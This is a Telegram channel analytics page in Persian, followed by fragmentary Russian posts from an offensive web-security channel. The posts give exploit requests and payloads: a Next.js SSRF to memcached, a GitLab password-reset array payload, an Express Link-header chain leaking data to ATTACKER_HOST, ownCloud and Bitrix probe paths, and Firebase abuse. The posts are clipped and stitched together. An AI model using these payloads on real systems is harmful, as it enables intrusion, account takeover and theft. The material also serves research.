Кавычка
Практическая безопасность. Уязвимости и атаки на веб-приложения. Чат @WebPwnChat Только авторский контент, без репостов и рекламы (простите). Вместо лайка: https://t.me/webpwn?boost Платный канал: https://t.me/tribute/app?startapp=s2Vr
نمایش بیشتر📈 تحلیل کانال تلگرام Кавычка
کانال Кавычка (@webpwn) در بخش زبانی روسی بازیگری فعال است. در حال حاضر جامعه شامل 16 374 مشترک است و جایگاه 6 098 را در دسته فناوری و برنامهها و رتبه 41 758 را در منطقه روسيا دارد.
📊 شاخصهای مخاطب و پویایی
از زمان ایجاد در невідомо، پروژه رشد سریعی داشته و 16 374 مشترک جذب کرده است.
بر اساس آخرین دادهها در تاریخ 16 آوریل, 2025، کانال فعالیت پایداری دارد. در ۳۰ روز گذشته تغییر اعضا برابر 127 و در ۲۴ ساعت گذشته برابر 0 بوده و همچنان دسترسی گستردهای حفظ شده است.
- وضعیت تأیید: تأیید نشده
- نرخ تعامل (ER): میانگین تعامل مخاطب 0% است و در ۲۴ ساعت نخست پس از انتشار، محتوا معمولاً N/A% واکنش نسبت به کل مشترکان کسب میکند.
- دسترسی پستها: هر پست به طور میانگین 0 بازدید دریافت میکند. در اولین روز معمولاً 0 بازدید جمعآوری میشود.
- واکنشها و تعامل: مخاطبان بهطور فعال حمایت میکنند؛ میانگین واکنش به هر پست 0 است.
📝 توضیح و سیاست محتوایی
نویسنده این فضا را محل بیان دیدگاههای شخصی توصیف میکند:
“Практическая безопасность. Уязвимости и атаки на веб-приложения.
Чат @WebPwnChat
Только авторский контент, без репостов и рекламы (простите).
Вместо лайка:
https://t.me/webpwn?boost
Платный канал:
https://t.me/tribute/app?startapp=s2Vr”
به لطف بهروزرسانیهای پرتکرار (آخرین داده در تاریخ 17 آوریل, 2025)، کانال همواره بهروز و دارای دسترسی بالاست. تحلیلها نشان میدهد مخاطبان بهطور فعال با محتوا تعامل دارند و آن را به نقطه اثرگذاری مهم در دسته فناوری و برنامهها تبدیل کردهاند.
vk.ru, тыкаешь в значение поля Org, нажимаешь "Все домены".
#Osint
>dav://, используя клиент Filezilla, Cyberduck, короч кто-что юзает.
Сначала ставим ten, запускаем проксю, но не наслаждаемся.
Потому что из коробки сплоет у меня не завелся, клиенты, видимо, не могут корректно распарсить ответ.
А я просто вывел ответ от прокси через print(response.text), и собрал список файлов. Сами файлы можно получать уже через curl/wget/браузер, так как для скачивания файлов достаточно GET запроса.
Типа wget localhost:8800/remote.php/dav/files/admin/Report.7z
Быстро чекнуть уязвимый ли owncloud можно через другую CVE-2023-49103:
/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/webpwn.css
Если открылся phpinfo() - то, скорее всего, систему не обновляли, а эти CVE'шки вышли рядом.
>ssh whoami.filippo.io
Короч, когда ты подключаешься по ssh, твой ssh-agent перебирает всеми ключами, которые у тебя в него подключены.
Это может привести к прикольной деанонимизации, если на стороне сервера включено логирование ssh ключей, которыми пытались подключиться.
Ключики можно собирать как на гитхабе:
https://github.com/Oleg.keys
Так и на гитлабе:
https://gitlab.com/Nikita.keys
Всякие энтузиасты собирают собственные базы забавы ради, думаю есть и те, которые делают это для расследований инцидентов после компрометации и вот этого всего.
[1], [2], [3]
>site.kek, а ты нашел уязвимость на subdomain.site.kek
Что может дать XSS на поддомене, где обычный одностраничный лэндинг, нет никаких данных пользователя?
Штош, импакт такой:
- Не только лишь все знают, что поддомен может ставить куки, в том числе на главный сайт (а точнее на весь скоуп, включая другие поддомены), а это может помочь при эксплуатировании других атак, например фиксацию сессии. Или вспомнить про отказ в обслуживании aka cookie bomb
- CORS на других сайтах компании, в том числе сам site.kek может принимать Origin: subdomain.site.kek, а это значит можно выполнять действия от лица пользователя.
- В дополнение к предыдущему - обходится механизм SameSite
- Старый добрый фишинг, если нет дизайна для регистрации или входа - ее можно нарисовать.
Может что-то еще?
>Короч, чтоб тебя всякие shodan, censys и прочие умники не сканировали, а еще и не попадать под их поисковую выдачу, рекомендую такой дефолтный конфиг для nginx:
server {
listen 80 default_server;
lisetn [::]:80 default_server;
listen 443 ssl http2 default_server;
listen [::] 443 ssl http2 default_server;
ssl_reject_handshake on;
server_name _;
location / {
return 444;
}
}
Че тут делаем?
Слушаем 80 и 443 на ipv4 и ipv6.
Для 443 откланяем все операции SSL handshake, если имя сервера отлично от тех, что есть в других конфигах.
И если соединие установить удалось (и для 80 порта) - рвем соединение (ответ 444 обладает такой фичей).
>firebase.initializeApp({
apiKey: "VHkgcGlkb3IpMDAwKSkpKSkpKSk=",
authDomain: "blablabla"
...
});
Иногда это используется для заявок, фидбэков и вот этого всего. И если его неправильно готовят, то на нем можно зарегистрироваться через signupNewUser (тыц) и получить доступ к данным, которые собирали сотрудники (в моем случае это было через Firestore).
Только как имя базы узнать я не знаю, в моем случае оно тоже светилось в файлах фронта, но может в комментах подскажут.
Еще надо попробовать pyfireconnect и python-firebase
Slavik поресерчил эту тему и сделал скрипт, который проверяет что доступно по данным Firebase.
Если есть api_key и project_id, то уже можно тыкаться по Realtime Database, Firestore, Storage.
>
"host": "api.someshit.io",
"basePath": "/",
"schemes": [
"https",
"http"
],
после info в файле, и спарсится все отлично.
>nextjs, несколько месяцев назад они добавили новую "фишку" распределение нагрузки - под капотом поднимается несколько микросервисов. Каждый из которых занимается своей частью обработки запроса. Работает все примерно так-же как и обычный прокси сервер, запрос приходит, обрабатывается, и через стороннюю библиотеку проксируется на другой порт.
Собственно именно это место нас и интересует.
В HTTP есть такой метод PRI (используются, если мне не изменяет память, чтобы проверить возможность HTTP/2 подключения). Нас интересует что запросы этого метода имеют cимвол * в пути, вместо привычного /.
PRI * HTTP/1.1.Далее, все http-парcеры работают по разному, у
nodejs он немного особенный, и url вида http://example.com:3456*@127.0.0.1:8080 будет разобран как:
hostname: 127.0.0.1,
port: 8080,
auth: example.com:3456*,
А самое важное тут то, что http-парсер nodejs считает валидными запросы вида:
GET *@127.0.0.1/ HTTP/1.1 Host: somehostА знаете кто еще так делает - haproxy! Ну и последнее: код который формирует url для проксирования внутрь
nextjs выглядит так:
const targetUrl = `http://${
targetHost === 'localhost' ? '127.0.0.1' : targetHost
}:${routerPort}${pathname}`
Собственно, т.к. мы контролируем pathname - мы можем отправить запрос вида:
GET *@127.0.0.1:11211 HTTP/1.1 Host: someи запрос уйдет напрямую в memcached, получаем SSRF. Но что более важное - это SSRF с возможностью чтения ответа: если внутри, в инфре, есть приватная веб-морда, мы можем спокойно обращаться к ней, как будь то бы она торчит наружу. Уязвимые версии:
>= 13.3.0 | <=13.4.12
фича проксирования включена по умолчанию, она так же включается если установлен флаг appDir: true в конфигурации experimental.
Из интересного: vercel отказал в CVE, так как не считает что это уязвимость (на момент репорта уязвимость воспроизводилась в последних версиях). Однако с версии 13.4.13 изменили код. Теперь в части внутренних запросов используется fetch. Что дает некоторую защиту, т.к. fetch не принимает запросы содержащие авторизацию.
>
sudo apt-get update
sudo apt-get install gcc make tmux git mesa-common-dev cmake nvidia-cuda-toolkit build-essential unzip -y
https://ru.download.nvidia.com/XFree86/Linux-x86_64/470.63.01/NVIDIA-Linux-x86_64-470.63.01.run
chmod +x NVIDIA-Linux-x86_64-470.63.01.run
sudo ./NVIDIA-Linux-x86_64-470.63.01.run
Устанавливаем hashcat и играемся с этим всем.
Но если нам нужно побрутить пароли по словарям, способ еще круче. Берем готовый образ Ubuntu + Hashcat + Weakpass 3, на диске будет лежать архив с Weakpass V3. Запускаем и прогоняем хэши, забираем то что сбрутилось, вырубаем машину.
Например, чтоб раскукожить пароли из дампа Linkedin - мне потребовалось рублей... 20?
В общем, круто держать под рукой чтобы быстро сбрутить какой-то хэшик.
>user[email][]=valid@email.com&user[email][]=attacker@email.com
Для проверки фактов компрометации систем предлагается оценить в логе gitlab-rails/production_json.log наличие HTTP-запросов к обработчику /users/password с указанием массива из нескольких email в параметре "`params.value.email`". Также предлагается проверить наличие в логе gitlab-rails/audit_json.log записей со значением PasswordsController#create в meta.caller.id и указанием массива из нескольких адресов в блоке target_details. Атака не может быть доведена до конца при включении пользователем двухфакторной аутентификации.
>res.links = function(links){
var link = this.get('Link') || '';
if (link) link += ', ';
return this.set('Link', link + Object.keys(links).map(function(rel){
return '<' + links[rel] + '>; rel="' + rel + '"';
}).join(', '));
};
Путем выхода из < >, если при пустом поиске загружаются другие ссылки, можно используя поиск по внутренним данным пользователя, получать разные ответы
Следовательно можно побуквенно перебирать результаты поиска на странице, путем добавления iframe'ов
Пример с реального уязвимого сайта выглядит как-то так:
https://site.com?uuid=UUID_PREFIX&lang=>%20"modulepreload",<https://ATTACKER_HOST?e=UUID_PREFIX>; rel="modulepreload",
Так что полный чейн выглядит так:
1. Направляем пользователя на наш сайт
2. На нем открываем сотни скрытых ифреймов с ссылкой выше, перебирая префикс
3. По отстукам на хост понимаем результаты поиска на странице пользователя
Разработчики express об этом уведомлены, даже CVE мне дали, но фикс будет не скоро)
(Тем более такой же чейн работает когда мы можем любым другим методом контролировать Link хедер )
>/pewpew/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/
если кто-то предусмотрел такую возможность, то можно поиграть с следующими именами:
/pewpew/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/
/pewpew/?SEF%20APPLICATION%20CUR%20PAGE_URL=/bitrix/admin/
/pewpew/?SEF.APPLICATION%20CUR+PAGE[URL=/bitrix/admin/
PoC
>GET /path.html?_method=TRACE HTTP/1.1
или заголовок
_method: TRACE
>
